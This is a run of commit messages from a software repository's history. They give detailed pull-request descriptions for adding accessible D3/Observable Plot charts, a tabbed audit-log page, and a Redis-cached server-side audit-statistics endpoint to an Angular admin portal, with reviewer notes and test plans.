- The audit page now ships `outcomeColorMap = { success: green, failure: red, denied: orange }` and passes it to the donut. The donut's `description` (screen-reader fallback) and the legend chip semantics now line up.

### Chart envelope — overflow containment

`libs/shared/charts/src/lib/_internal/chart-envelope.scss`:

- Force `display: block` + `min-width: 0` on every chart host element (`lib-bar-chart`, `lib-donut-chart`, `lib-stacked-bar-chart`). Angular custom-element hosts default to `display: inline`, which lets the inner `<figure>` escape parent sizing constraints — the root cause of the body-scrollbar symptom.
- `.chart-canvas` gets `min-width: 0` and constrains every inner `figure { max-width: 100% }` + `svg { max-width: 100%; height: auto }`. The SVG keeps its viewBox aspect ratio while scaling down to the actual column width.

`apps/portal-admin/src/app/pages/audit/audit.scss`:

- `.chart-tile { min-width: 0; }` — grid items default to `min-width: auto`, which prevents shrinking below the intrinsic content width. Without it, Plot's fixed-width SVG could still push the grid column past `1fr` even with the lib-side fixes.

## Notes for the reviewer

- **Why a hardcoded hex (`#1d4ed8`) for `DEFAULT_BAR_FILL` rather than a brand token?** The chart lib is intentionally decoupled from `libs/shared/tokens` — it has no SCSS/CSS-vars dependency and Plot writes the fill as an SVG attribute, not a CSS value, so a CSS variable wouldn't apply anyway. The hex stays inside the lib, marked as the canonical default, with the docstring promising AA contrast + colour-blind safety. If the brand wants to take it over later, swap the constant in one place.
- **`semanticStatusColors` is a curated map, not an open extension point.** Five entries (`success / warning / error / info / neutral`) covers the audit module and any future status-bearing donut (user list, integrations health, etc.). Adding a sixth entry needs a small PR + an a11y-contrast check, which is the right friction.
- **The `aria-label="bar"` selector in the new bar-chart spec.** Plot tags its bar-mark `<g>` with `aria-label="bar"` (and similarly `"rule"` for `Plot.ruleY`). Selecting on it scopes the fill-uniqueness check to actual bars, not axes / ticks / labels. If Plot changes that label upstream the spec breaks loudly — preferable to a fragile geometric selector.
- **Lazy fetch policy and the empty-state edge case** from #174 are unchanged. The donut still receives `colorMap` even when `data` is empty; the lib's `arcs.forEach` short-circuits on zero arcs so no colour lookup happens.
- **`audit.scss` is now 7.5 KB**, still over the 6 KB component-style warning (untouched from #174) and well under the 8 KB error. The new `.chart-tile { min-width: 0 }` rule is two lines.

## Test plan

- [x] `pnpm nx test shared-charts` — **15 specs pass** (was 14: +1 donut `colorMap` test, +1 bar single-fill test, -1 obsolete bar palette assumption).
- [x] `pnpm nx test portal-admin` — **62 specs pass** (unchanged from #174 — semantic mapping is a template-only change, behavioural tests still hold).
- [x] `pnpm nx run-many -t lint test build -p portal-shell,portal-admin,portal-bff,shared-charts` — clean. Same three pre-existing lint warnings, no new ones; bundle sizes unchanged within ±0.1 KB.
- [ ] **Manual smoke** — `pnpm nx serve portal-admin` + `pnpm nx serve portal-bff`, sign in with `Portal.Admin`, navigate to `/admin/audit`:
  - Switch to **Charts** tab — daily-volume bars all render the same blue.
  - Donut centre matches `s.total`, the green slice is `success`, the orange slice is `denied`, the red slice is `failure`. Hover each slice — `<title>` shows `<category>: <count>` (untouched a11y contract from the lib).
  - Body scrollbar stays absent; footer stays anchored at the viewport bottom with no white-space gap.
  - Resize the window through the `(max-width: 800px)` breakpoint — grid collapses to one column, charts re-flow without horizontal overflow.
  - Dark mode toggle — colours stay readable, no contrast regressions.

## What's next

Nothing in this chantier. The audit dashboard is now visually coherent and layout-stable. Two background items to track separately when the CMS / user-list pages land their own dashboards:

- Tab-state URL persistence (carried forward from #174's "what's next").
- Promote the WAI-ARIA tab pattern out of `audit.html` into `libs/shared/ui/tabs/` once a second consumer appears.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #175
2026-05-17 01:17:33 +02:00
julien 9f5106b805 feat(portal-admin): audit log tabs (Table / Charts) + server-side stats consumption (#174)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m26s
CI / a11y (push) Successful in 1m44s
CI / perf (push) Successful in 3m57s
CI / check (push) Successful in 1m24s
## Summary

PR 2 of the tabs + full-result-charts chantier — closes the loop opened in #173. The audit log page now splits into a **Table** tab (existing behaviour) and a **Charts** tab fed by the server-side stats endpoint shipped in PR 1.

```
PR 1 (#173, merged) — BFF GET /api/admin/audit/stats + Redis 5min cache
                      + admin.audit.stats.query audit event + ADR-0013 amendment.
PR 2 (this one)     — SPA Tabs UX (Table / Charts) + consume the stats endpoint,
                      replacing the per-page client-side aggregations from #172.
```

## What lands

### Tabs UX — WAI-ARIA tab pattern

The two tabs sit between the filter card and the content area. Visual treatment is intentionally minimal: thin brand-coloured underline on the active tab, focus rings on `:focus-visible`, no surrounding chrome. The panel below inherits the page surface so each tab swap reads as a content-only change.

ARIA wiring:

- `<div role="tablist">` with two `<button role="tab">` children.
- `aria-selected` mirrors the active tab; `aria-controls` points each tab at its panel id; roving `tabindex` (active = `0`, inactive = `-1`) keeps Tab linear.
- Arrow-key navigation between tabs is bound on the individual buttons (not the tablist div) — focusable elements only, satisfies the `template/click-events-have-key-events` lint without an artificial `tabindex="-1"` on the container.
- Two `<section role="tabpanel">` with `[hidden]` binding, `aria-labelledby` pointing back at the tab id.

### Stats consumption — replaces the per-page computeds

`AuditEventsService` grows a `stats(filters)` method that calls `GET /api/admin/audit/stats` and returns `AdminAuditStats` (mirror of the BFF DTO). The audit page replaces the four per-page `computed()`s — `totalOnPage`, `dailyVolume`, `outcomeBreakdown`, `dailyByEventType` — with four signals:

```ts
readonly stats        = signal<AdminAuditStats | null>(null);
readonly statsLoading = signal(false);
readonly statsError   = signal<string | null>(null);
readonly hasChartData = computed(() => (this.stats()?.total ?? 0) > 0);
```

The chart-tile components on the Charts panel consume `stats()?.dailyVolume`, `stats()?.outcomeBreakdown`, `stats()?.eventTypeByDay`, and `stats()?.total` unchanged — same shape as the old per-page projections, just sourced server-side.

### Lazy fetch policy

| Interaction              | Action on `stats`                              |
| ------------------------ | ---------------------------------------------- |
| Page load (Table active) | No call — default tab is Table, stats untouched |
| Click Charts (first time) | Fetch                                          |
| Click Table → Charts     | Fetch only if cleared by a filter change       |
| Apply / clear filters    | Clear `stats`, re-fetch **only if Charts active** |
| Filter by row's actor    | Clear `stats`, re-fetch if Charts active       |
| Next / previous page     | Do **not** invalidate stats (pagination is presentation, the aggregated set is unchanged) |

The Redis cache in PR 1 absorbs repeated identical fetches at ~5 ms; the policy here just makes sure we don't fire a stats call when nobody's looking at it.

### Honest panel copy

The Charts panel's note now reads:

> Aggregations are computed across the full filtered set (server-side), not just the events on the current page. Results are cached for 5 minutes per filter combination.

Replaces the previous "this only reflects the current page" disclaimer that #172 carried as a temporary truth.

## Notes for the reviewer

- **Why a hand-coded tablist instead of a shared `libs/shared/ui/tabs` primitive?** Two tabs, one consumer, ~30 LOC of template + ~25 LOC of SCSS. The two-occurrences-is-duplication rule says wait until a second consumer appears (cf. CMS module or user-list module slated for the next chantier), then extract with the shape both consumers have actually demanded.
- **Why is `setTab()` `async`?** It triggers `fetchStats()` on the first switch to Charts, and the spec exercises that flow with `await`. Keeping it `async` lets the test sequence assertions deterministically without `tick()`/fakeAsync.
- **Why does `search()` clear `stats` *before* the fetch even though `fetchStats()` clears it again at the top?** So the empty-state never flickers through a "stale 1000-event" total while the new fetch is in flight on a slow link. The double-clear is intentional.
- **Bundle impact.** The audit chunk grew from ~82 KB to ~84.5 KB gzip (two new signals, a stats-mapping HTTP call, the tablist template + SCSS). Well under the lazy-chunk 100 KB ceiling from [ADR-0017](docs/decisions/0017-performance-budgets-lighthouse-ci.md).
- **`audit.scss` is 7.5 KB** — over the 6 KB component-style warning, under the 8 KB error. The new `.tablist` / `.tab` rules account for the bump. If a third consumer of the tab pattern lands, the SCSS extraction comes with it.

## Test plan

- [x] `pnpm nx test portal-admin` — **62 specs pass** (was 58: removed 3 obsolete "per-page chart" cases, added 7 new tabs/stats cases).
- [x] `pnpm nx run portal-admin:lint` — clean (the two pre-existing `use-lifecycle-interface` warnings on `audit.ts` / `users.ts` and the spec non-null assertion are untouched, not regressions).
- [x] `pnpm nx build portal-admin` — clean, audit chunk 84.5 KB gzip.
- [x] `pnpm nx run-many -t lint test build -p portal-shell,portal-admin,portal-bff,shared-charts` — clean.
- [ ] **Manual smoke** — `pnpm nx serve portal-admin` + `pnpm nx serve portal-bff`, sign in with `Portal.Admin`, navigate to `/admin/audit`:
  - Page loads on the Table tab — DevTools Network shows `GET /api/admin/audit` only, **no** `/audit/stats` call.
  - Click **Charts** → spinner state, then three chart tiles render with server-side totals.
  - Apply a filter (e.g. `eventType=auth.sign_in`) while on Charts → tiles re-render with the filtered aggregates; donut centre matches the server `total`.
  - Switch back to Table, page through results → no new `/audit/stats` calls (pagination doesn't invalidate).
  - Arrow-Right / Arrow-Left between the two tabs with keyboard — focus moves, ARIA selection follows, `Tab` skips past the inactive tab to the panel content.
  - Toggle dark mode → tablist + active underline + tab focus rings all read correctly in both modes.

## What's next

- Persist the active tab in the URL (`?tab=charts`) so deep-linking and Back/Forward survive the swap. Out of scope for this chantier — once the user-list module lands and we have a second tab consumer, persistence becomes a shared concern.
- Extract `libs/shared/ui/tabs` when a second consumer materialises (CMS or user-list module).
- Surface cache observability — the stats endpoint Redis cache is silent in v1. A future ADR-0024 follow-up could add a `X-Audit-Stats-Cache: hit|miss` header for ops or an OTel attribute on the BFF span. Out of scope here, but worth flagging while the design is fresh.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #174
2026-05-17 00:16:47 +02:00
julien 2cdeb74341 feat(portal-bff): audit-stats endpoint — server-side aggregations with redis cache (#173)
CI / check (push) Successful in 3m26s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m47s
CI / a11y (push) Successful in 4m1s
CI / perf (push) Successful in 7m30s
Docs site / build (push) Successful in 6m2s
## Summary

PR 1 of the tabs + full-result-charts chantier. New BFF endpoint `GET /api/admin/audit/stats` that computes the three chart aggregations server-side over the **full filtered set** (not the paginated slice the SPA currently feeds the charts with).

```
PR 1 (this one) — BFF endpoint + Redis cache + audit event + ADR-0013 amendment.
PR 2            — SPA: Tabs UX (Table / Charts) + replace the per-page computeds
                  with calls to this endpoint.
```

## What lands

### New route — `GET /api/admin/audit/stats`

```ts
GET /api/admin/audit/stats?eventType=...&audience=...&outcome=...
                          &subjectPrefix=...&createdAtFrom=...&createdAtTo=...
                          &actorIdHash=...
→ {
    dailyVolume:       [{ day: 'YYYY-MM-DD', count }],
    outcomeBreakdown:  [{ outcome, count }],
    eventTypeByDay:    [{ day, eventType, count }],
    total              // sum of dailyVolume.count, drives the donut centre
  }
```

Same filter shape as the existing `GET /api/admin/audit` minus pagination — the stats endpoint always aggregates the whole filtered set. `@RequireAdmin` gated (per [ADR-0020](docs/decisions/0020-portal-admin-app.md)). Time bound respects the filters strictly per the chantier brief: no filter → aggregates across the full audit retention (365 days per [ADR-0013](docs/decisions/0013-audit-trail-separated-postgres-append-only.md)). The Redis cache below absorbs repeated heavy queries.

### New service — [`AuditStatsReader`](apps/portal-bff/src/admin/audit-stats.service.ts)

Mirrors `AuditReader`'s posture:

- Every query inside a transaction that opens with `SET LOCAL ROLE audit_reader`. SELECT-only on `audit.events` even if the BFF's connection is otherwise privileged.
- Parameterised SQL only. Filter values flow through positional parameters, never concatenated.
- Three `GROUP BY` queries scoped by the same `WHERE` clause:
  - `date_trunc('day', created_at)::date AS day, COUNT(*) GROUP BY day`
  - `outcome::text, COUNT(*) GROUP BY outcome`
  - `date_trunc('day', created_at)::date AS day, event_type, COUNT(*) GROUP BY day, event_type`

### Redis cache — 5-minute TTL per filter-hash

- Cache key: `audit:stats:<sha256(canonical-JSON of filters), 16 hex chars>`. Sorted-keys canonicalisation so the same filters in different argument orders map to the same key.
- TTL: 300 s. Audit rows are append-only so past aggregations are stable; new events are continuously inserted, so admins see at most 5-minute-stale aggregations — acceptable for "approximate dashboard" usage, not for "did the last event just land" debugging (use the list endpoint for that).
- Cache writes are best-effort — a Redis-write failure does not fail the response. The DB read already happened; the next call rebuilds the cache.
- The cache *write* path is covered by spec; the cache-hit shortcut path is covered too (skips the DB transaction entirely).

### New audit event — `admin.audit.stats.query`

Mirrors `admin.audit.query` in posture (every admin read is auditable per ADR-0020 §"Read actions ... to deter fishing expeditions") with two differences:

- Distinct `event_type` so an auditor can spot "scanned aggregations" vs "paged through rows" — different observation signals (the stats endpoint can sweep millions of rows in one call; the list endpoint is bounded by `MAX_LIMIT=200`).
- Payload carries `total` (size of the aggregated set) instead of `resultCount` — stats responses don't paginate, the value carries more "size of scan" signal.

### Light amendment — [ADR-0013](docs/decisions/0013-audit-trail-separated-postgres-append-only.md)

Two additions:

- New **"Reader endpoints"** subsection that enumerates the two-endpoint reader surface (list + stats), documents the Redis-cache caveat, and points at the new `admin.audit.stats.query` event family.
- The "events emitted in v1" table grows four rows it was previously missing on `main`: `admin.access_denied`, `admin.audit.query`, `admin.audit.stats.query`, `admin.users.query`.

No supersession, no new ADR. The decision shape (server-side aggregation + Redis cache + new audit event family) was settled in chat via `AskUserQuestion` before the implementation started; recording it here keeps the ADR honest without spawning a full ADR-0024 for what's essentially an extension of ADR-0013's reader surface.

## Notes for the reviewer

- **Why not factor `buildWhere` into a shared helper between `AuditReader` and `AuditStatsReader`?** Considered. The two readers' shapes diverge in non-trivial ways: `AuditReader` adds `LIMIT/OFFSET` parameters appended to the same parameter array, `AuditStatsReader` runs three queries that all share the same `WHERE` (no further params). A shared helper would have to either expose both shapes or hand back the raw clauses + params for callers to assemble — at which point the abstraction earns its weight back. Two ~50 LOC copies today, extraction when a third reader lands or when the shape diverges further.
- **Why not cap the time window when no filter is provided?** Honest disclosure beats clever defaults. The list endpoint also returns "everything matching the filters" with no protective cap; the stats endpoint follows the same posture. The Redis cache absorbs the cost when the same heavy query lands repeatedly; an admin running unfiltered queries at high rate will see flat latency after the first call. If we later observe a real perf issue, a `windowDays` parameter is a smaller change than retrofitting one across the API.
- **Why a `text` cast on `outcome` in the SQL?** Prisma's Postgres enum types come back as JS strings already, but the `outcome` column carries a Postgres enum (`audit.AuditOutcome`). The explicit `::text` is defensive — `$queryRawUnsafe`'s typing isn't enum-aware, and the cast keeps the projection unambiguous regardless of the driver's row-shape inference.
- **Why does the date round-trip through `Date.toISOString().slice(0, 10)`?** `date_trunc('day', ...)::date` returns a Postgres `date` that node-postgres surfaces as a JS `Date` at UTC midnight. The default `toJSON` serialises the full ISO timestamp with the timezone offset — which is not what the chart x-axis wants. Slicing to `YYYY-MM-DD` matches the SPA's chart bucket convention exactly.
- **No mention of the `actorIdHash` audit row for the stats endpoint?** It's the same hash flow as `adminAuditQuery` — the `actor.oid` from the session goes through `HashUserIdService` per ADR-0012's salt-based pseudonymisation. The same flow is exercised by the existing `adminAuditQuery` tests; the new `adminAuditStatsQuery` method just routes to `recordEvent` with a different `eventType`.

## Test plan

- [x] `pnpm nx test portal-bff` — **414 specs pass** (was 401; +13 new: 8 `AuditStatsReader` service + 5 controller `stats` endpoint).
- [x] `pnpm nx run portal-bff:lint` — clean.
- [x] `pnpm nx build portal-bff` — clean (webpack).
- [ ] **Manual smoke** — `pnpm nx serve portal-bff`, sign in to portal-admin with `Portal.Admin`:
  - `curl http://localhost:3000/api/admin/audit/stats --cookie-jar /tmp/admin` returns the three projections.
  - Verify the `admin.audit.stats.query` row in `audit.events` after the call (`SELECT * FROM audit.events WHERE event_type = 'admin.audit.stats.query' ORDER BY occurred_at DESC LIMIT 1`).
  - Hit the endpoint twice in quick succession with the same filters → second call shows < 5 ms latency (cache hit, no DB transaction).
  - Hit it with different filters → first call hits DB, second cache, third with same filters → cache hit.
  - Stop Redis (`./infra/local/dev.sh stop redis`), hit the endpoint → still succeeds (cache miss + write swallowed), comes back live from DB.

## What's next

PR 2 — SPA Tabs UX (Table / Charts) + replace `dailyVolume() / outcomeBreakdown() / dailyByEventType()` (currently computed from `page().items`) with calls to this endpoint. The three computeds become signals filled by the HTTP call; the chart components on the Charts tab consume them unchanged.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #173
2026-05-16 23:11:52 +02:00
julien 209f44d667 feat(portal-admin): audit dashboard — bar / donut / stacked-bar above the table (#172)
CI / check (push) Successful in 4m13s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m26s
CI / a11y (push) Successful in 1m48s
CI / perf (push) Successful in 3m11s
## Summary

PR 3 (final) of the charts chantier — closes the loop on [ADR-0023](docs/decisions/0023-charts-d3-observable-plot.md) by wiring the three starter components shipped in #171 onto the `/audit` page.

```
PR 1  — ADR-0023 (decision + a11y contract + bundle plan).
PR 2  — libs/shared/charts/ foundations + bar / donut / stacked-bar.
PR 3 (this one) — /audit page integration: three charts above the existing table.
```

## What lands

### Three computed aggregations on `AuditPage`

```ts
dailyVolume()       // (day: 'YYYY-MM-DD', count: number)[]
outcomeBreakdown()  // (outcome: string, count: number)[]
dailyByEventType()  // (day, eventType, count)[]   — flat, the chart pre-pivots
totalOnPage()       // number for the donut centre label
hasChartData()      // gate the section out when the page is empty
```

All four derive from the **current page only** (`page()?.items`). No new BFF endpoint — server-side aggregations across the full filter set would need a `/api/admin/audit/stats` resource that's worth its own ADR + chantier when the use case appears.

### Section markup — [`audit.html`](apps/portal-admin/src/app/pages/audit/audit.html)

A new `<section class="charts">` between the status bar and the existing table, gated on `hasChartData()`:

```
[At a glance — current page]
[charts-note: "Aggregations are computed from the events currently loaded on this page only…"]

┌─ Events per day (bar) ─┬─ Outcome breakdown (donut) ─┐
├─ Events per day, by event type (stacked bar) — wide ┤
└──────────────────────────────────────────────────────┘
```

The stacked-bar tile gets `.chart-tile--wide` (spans both grid columns) since its legend benefits from the horizontal space. The two-column grid collapses to one column under 800 px viewports.

### SCSS — [`audit.scss`](apps/portal-admin/src/app/pages/audit/audit.scss)

`.charts` shares the same surface tokens as `.filters` + `.table-wrap` (white / gray-800 background, 1 px border, 0.5 rem radius) so the page reads as one stack of related blocks. `.charts-grid` is `display: grid; grid-template-columns: repeat(2, 1fr)` with a `@media (max-width: 800px)` fallback to single-column.

### Project budget — [`apps/portal-admin/project.json`](apps/portal-admin/project.json)

`anyComponentStyle` budget bumped from 5/6 KB warn/error to **6/8 KB**. `audit.scss` lands at ~6.5 KB after the charts grid additions, comfortably under the new ceiling. The old 5/6 KB threshold predated the charts row; this is a one-time accommodation, not a global relaxation.

### Tsconfig wiring — [`apps/portal-admin/tsconfig.app.json`](apps/portal-admin/tsconfig.app.json)

`nx sync` added the new project reference to `libs/shared/charts/tsconfig.lib.json` after the `import { BarChart, … } from 'shared-charts'` in `audit.ts`. Standard plumbing.

### Spec — [`audit.spec.ts`](apps/portal-admin/src/app/pages/audit/audit.spec.ts)

Three new assertions under a `charts` describe block:

1. The three `<lib-*-chart>` elements render when the page has data.
2. `<section class="charts">` is **absent** when the page is empty (no half-rendered donut on `{ total: 0, items: [] }`).
3. The donut's `.donut-center-label` reads the page's item count — verifies the `[centerLabel]` binding wired correctly.

## Notes for the reviewer

- **Why charts only on the current page, not on the full result set?** Per the "Don't add features beyond what the task requires" rule from CLAUDE.md. The user's brief was "tester les composants sur la page Audit log", not "design a full analytics dashboard". The `.charts-note` paragraph explicitly says "computed from the events currently loaded on this page only" so the limitation is **disclosed**, not hidden. A future server-side `/api/admin/audit/stats` (with `audit_reader`-scoped queries + caching) is the natural follow-up if real investigative use exposes the per-page scope as a friction point.
- **Why `<section>` with its own `<h2>` rather than just inline tiles?** A11y. Per [ADR-0016](docs/decisions/0016-accessibility-baseline-wcag-aa-targeted-aaa.md), document structure is a first-class concern. The charts are a meaningful sub-region of the page; landmark + heading help screen-reader users navigate.
- **Why no i18n marks on the captions?** Portal-admin chrome stays in source locale per ADR-0020. The audit page has zero i18n markers today (filter labels, table headers, error messages are all plain English); the chart captions land in the same posture for consistency. If portal-admin grows i18n later, the captions get marked in the same sweep as the rest of the page.
- **Bundle impact reality-check**: the chart-bearing lazy `audit` chunk grew from ~4.4 KB gzip to **84 KB gzip** with the chart deps loaded. ADR-0023 estimated ~65 KB; the actual is higher because Plot pulls in more `d3-scale-chromatic` interpolators than I projected. Still well under the 100 KB cap from [ADR-0017](docs/decisions/0017-performance-budgets-lighthouse-ci.md), but worth noting if a fourth chart type with its own d3 submodule lands (line / scatter / heatmap will push it further).
- **No anonymous-state regression on the table**: the existing trace-link + actor-pivot behaviours from #163 are unaffected — the charts section sits between the status bar and the table, doesn't share any markup.

## Test plan

- [x] `pnpm nx test portal-admin` — **57 specs pass** (was 54; +3 for the new charts assertions).
- [x] `pnpm nx run-many -t lint test build --projects=portal-shell,portal-admin,shared-charts` — 9/9 tasks green.
- [x] Audit lazy chunk: **84 KB gzip** (was 4.4 KB before the chart deps loaded); under the 100 KB lazy-chunk budget.
- [ ] **Manual visual smoke** — sign in to portal-admin with `Portal.Admin` → navigate `/audit`:
  - The three charts render above the filter form, in a 2-column grid (stacked-bar spanning both).
  - The donut centre label reads the current page's event count.
  - Apply a filter that narrows the page to ~3 events → charts re-render with the narrowed dataset.
  - Click the `<details>` "Data table" disclosure under each chart → the tabular fallback expands with the exact rows.
  - Toggle dark mode in the footer → axis text + chart envelope swap; the donut's Cividis-equivalent palette kicks in on the categorical chart too (palette already swapped by `resolveTheme()` in the lib).
  - Filter to an empty result set → the `.charts` section disappears, the "No audit events match the current filters" empty-state stays.

## What's next

Chantier closed. Three light follow-ups stay open but optional:

- **Server-side aggregations** if the per-page scope becomes a real friction point. New BFF endpoint + likely a fourth `time-range` selector on the SPA.
- **More chart types** (line / scatter / heatmap) when business modules ask for them. The lib's `_internal/` carries the a11y plumbing already; each new component is the ~50 LOC Plot wrapper + spec.
- **Promote shared chart styling** to a fourth shared concern in `libs/shared/ui/` if a third app ever joins. Not urgent.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #172
2026-05-16 22:18:22 +02:00
julien eb8b65c7bc feat(shared-charts): foundations + bar / donut / stacked-bar components (#171)
CI / commits (push) Has been skipped
CI / check (push) Successful in 5m30s
CI / scan (push) Successful in 2m44s
CI / a11y (push) Successful in 2m37s
CI / perf (push) Successful in 4m21s
Docs site / build (push) Successful in 3m1s
## Summary

Implementation of [ADR-0023](docs/decisions/0023-charts-d3-observable-plot.md) — the foundations of the workspace's chart library. PR 2 of the chantier:

| PR | Périmètre |
| --- | --- |
| PR 1  | ADR-0023 — decision + a11y contract + bundle plan. |
| **PR 2 (this one)** | `libs/shared/charts/` foundations + `<lib-bar-chart>`, `<lib-donut-chart>`, `<lib-stacked-bar-chart>`. |
| PR 3 | Integration on the `/audit` page — daily-volume bar + outcome-breakdown donut + event-type-over-time stacked bar. |

## What lands

### Workspace deps

```
d3                       — top-level toolkit, types via @types/d3
d3-shape                 — used directly by <lib-donut-chart>
d3-scale-chromatic       — colour-blind-safe palette source
@observablehq/plot       — declarative layer over D3, used by bar + stacked-bar
```

All four (+ matching `@types/*`) land in the workspace root `devDependencies`. Tree-shaken at build time per ADR-0023's bundle plan.

### New lib `libs/shared/charts/`

```
libs/shared/charts/src/lib/
├── _internal/                   ← single source of truth for the a11y contract
│   ├── a11y.ts                  ← chartId, findChartSvg, injectSvgTitleDesc, prefersReducedMotion, resolveTheme
│   ├── chart-envelope.scss      ← shared figure / caption / fallback / dark-mode rules
│   ├── chart-types.ts           ← `ChartBaseInputs<T>` extended by each component
│   └── palette.ts               ← Viridis / Cividis (sequential) + ColorBrewer Set2 (categorical)
├── bar-chart/                   ← Plot.barY
├── donut-chart/                 ← raw d3-shape (pie + arc); Plot has no donut mark
└── stacked-bar-chart/           ← Plot.barY with `fill: <seriesKey>` (auto-stacked, legend on)
```

### A11y contract baked in for v1

Per ADR-0023's six commitments, every chart component produces (and unit-tests for):

1. `<figure role="img" aria-labelledby aria-describedby>` wrapping the SVG.
2. SVG `<title>` + `<desc>` as the **first two children** — injected post-render via `injectSvgTitleDesc` because Plot doesn't emit them itself. `findChartSvg` handles both Plot output shapes (bare SVG, or `<figure>` wrapping a legend + SVG for `legend: true` configs).
3. A `<details>` disclosure with a `<table>` rendering every data point — the keyboard-navigable / screen-reader-friendly fallback for non-visual users.
4. Palette from `_internal/palette.ts` only — Viridis / Cividis for sequential, ColorBrewer Set2 for categorical. Both colour-blind-safe.
5. AA-contrast axis text via `:where(.dark)` flips in `_internal/chart-envelope.scss`.
6. `prefers-reduced-motion` → `data-no-transitions` marker on the SVG, CSS strips animations + transitions.

A custom ESLint rule in [`libs/shared/charts/eslint.config.mjs`](libs/shared/charts/eslint.config.mjs) bans direct imports of `d3-scale-chromatic` outside `_internal/palette.ts` so a future contributor can't bypass the colour-blind-safe contract.

### Component contract

Every `<lib-*-chart>` exposes the same Signal-based shape per ADR-0023:

```ts
[data]: readonly T[];
[caption]: string;
[description]: string;
[ariaLabel]: string;
[colorScheme]?: 'sequential' | 'categorical';
// + chart-specific keys (xKey, yKey, categoryKey, valueKey, seriesKey, …)
```

Re-renders triggered by Angular's `effect()` on input changes; the previous SVG is `replaceChildren`-d out so there's no DOM accumulation across data updates.

## Notes for the reviewer

- **Why three SCSS files importing one shared envelope?** Extracted at the third consumer per CLAUDE.md's "three similar lines is better than a premature abstraction" rule — bar + donut + stacked-bar share ~70 LOC of figure / caption / fallback / dark-mode chrome. `_internal/chart-envelope.scss` is the consolidation; each chart's `.scss` is now 4-20 LOC of chart-specific tweaks.
- **Why is `<lib-donut-chart>` raw D3 rather than Plot?** Plot's design philosophy explicitly excludes pie/donut marks ("a bar chart is almost always more legible"). The audit-log outcome breakdown reads naturally as a donut (the centre carries the total). Raw `d3-shape` is the lower-level fallback ADR-0023 reserves precisely for this kind of case; the component's API is identical to the Plot-backed siblings.
- **Why does the donut also stamp per-slice `<title>`?** Belt-and-suspenders. The top-level SVG `<title>` reads the caption; per-slice `<title>` reads "category: value" on hover (the SVG-native tooltip convention) for keyboard / screen-reader users who land on a specific slice.
- **Why no `pnpm.overrides` adjustment for `d3-*` transitives?** None of the new deps brought a vulnerability in this install. The `pnpm audit --audit-level=moderate` gate from #161 stays green.
- **What's deliberately deferred to PR 3?** The `/audit`-page integration — data aggregation from the current page (`AdminAuditPage` rows already loaded), the actual `<lib-*-chart>` placements above the existing table, the i18n strings for the captions / descriptions / aria-labels. No mock SAMPLE data shipped in this PR — every test uses local fixtures so the lib stays decoupled from any specific consumer.

## Test plan

- [x] `pnpm nx test shared-charts` — **13 specs pass** across the three components.
- [x] `pnpm nx lint shared-charts` — clean, including the custom `no-restricted-imports` guard on `d3-scale-chromatic`.
- [x] `pnpm nx build shared-charts` — clean (TS strict + ng-packagr).
- [x] `pnpm nx run-many -t lint test build --projects=shared-charts,portal-shell,portal-admin` — 12/12 tasks green.
- [x] `pnpm nx build portal-shell --configuration=production` — i18n-strict prod build clean. The lib ships no i18n marks (axis labels are caller-supplied per ADR-0023's i18n posture), so no xlf entry change here.
- [ ] **Visual smoke (deferred to PR 3 when the components are placed on `/audit`)** — `<figure>` + caption visible, SVG `<title>` exposed by VoiceOver / NVDA, `<details>` fallback expands to a table, dark-mode toggle flips axis text + Cividis palette, `prefers-reduced-motion` strips Plot's fade-in.

## What's next

PR 3 wires the three components onto the `/audit` page: aggregates `AdminAuditPage.items` client-side into the three required shapes (daily totals, outcome counts, daily-by-event-type pivots), places them above the existing filter form, ships the i18n strings for the captions and descriptions in `messages.fr.xlf`. Bundle impact on the lazy `audit` chunk gets verified there (the ~65 KB gzip plan from the ADR).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #171
2026-05-16 21:56:28 +02:00
julien 7ee7b2dadf docs(adr-0023): charts and dashboards — d3 + observable plot (#170)
CI / check (push) Successful in 1m17s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m2s
CI / a11y (push) Successful in 2m33s
CI / perf (push) Successful in 6m7s
Docs site / build (push) Successful in 3m37s
## Summary

Records the decision to use **D3 + Observable Plot**, wrapped in a new `libs/shared/charts/`, as the chart toolkit shared by `portal-shell` and `portal-admin`. ADR-only — implementation lands as the next chantier(s).

This is staged as a 3-PR chantier per the agreed plan:

| PR | Périmètre |
| --- | --- |
| **PR 1 (this one)** | ADR-0023 — decision + a11y contract + bundle plan. |
| PR 2 | `libs/shared/charts/` foundations + 3 starter components (`<lib-bar-chart>`, `<lib-donut-chart>`, `<lib-stacked-bar-chart>`). |
| PR 3 | Integration on the `/audit` page — daily-volume bar + outcome-breakdown donut + event-type-over-time stacked bar. |

## What lands

### [`docs/decisions/0023-charts-d3-observable-plot.md`](docs/decisions/0023-charts-d3-observable-plot.md)

Full MADR 4.0.0 record. Highlights:

- **Choice**: D3 + Observable Plot, both from Mike Bostock / Observable Inc., both MIT, both past 1.0. Plot covers ~80 % of standard charts in declarative one-liners; D3 stays the escape hatch for bespoke viz (heatmap, sankey, …) inside the same lib.
- **Why not D3 alone**: ~250 LOC per chart × 4-5 types × a11y discipline = sustained code investment before the first dashboard ships.
- **Why not ECharts / Chart.js**: 600 KB minified + canvas-rendered + an `aria` plugin afterthought (ECharts), or narrower vocabulary + brittle dark-mode (Chart.js). Both furthest from the Angular-Signals-zoneless idiom the rest of the workspace runs on.
- **A11y contract** is baked into `_internal/` (palette, tabular fallback, SVG `<title>` / `<desc>` builders) so every chart inherits WCAG 2.2 AA + AAA-targeted compliance from the lib, not from contributor discipline. Six commitments, each unit-tested per chart component.
- **Bundle plan**: ~65 KB gzip added to a chart-bearing lazy chunk (d3 modules tree-shaken + Plot + thin wrapper) — well under [ADR-0017](docs/decisions/0017-performance-budgets-lighthouse-ci.md)'s 100 KB cap.
- **Component contract**: every `<lib-*-chart>` exposes the same Signal-based input shape (`[data]`, `[caption]`, `[description]`, `[ariaLabel]`, `[colorScheme]`) regardless of whether Plot or raw D3 powers the rendering.

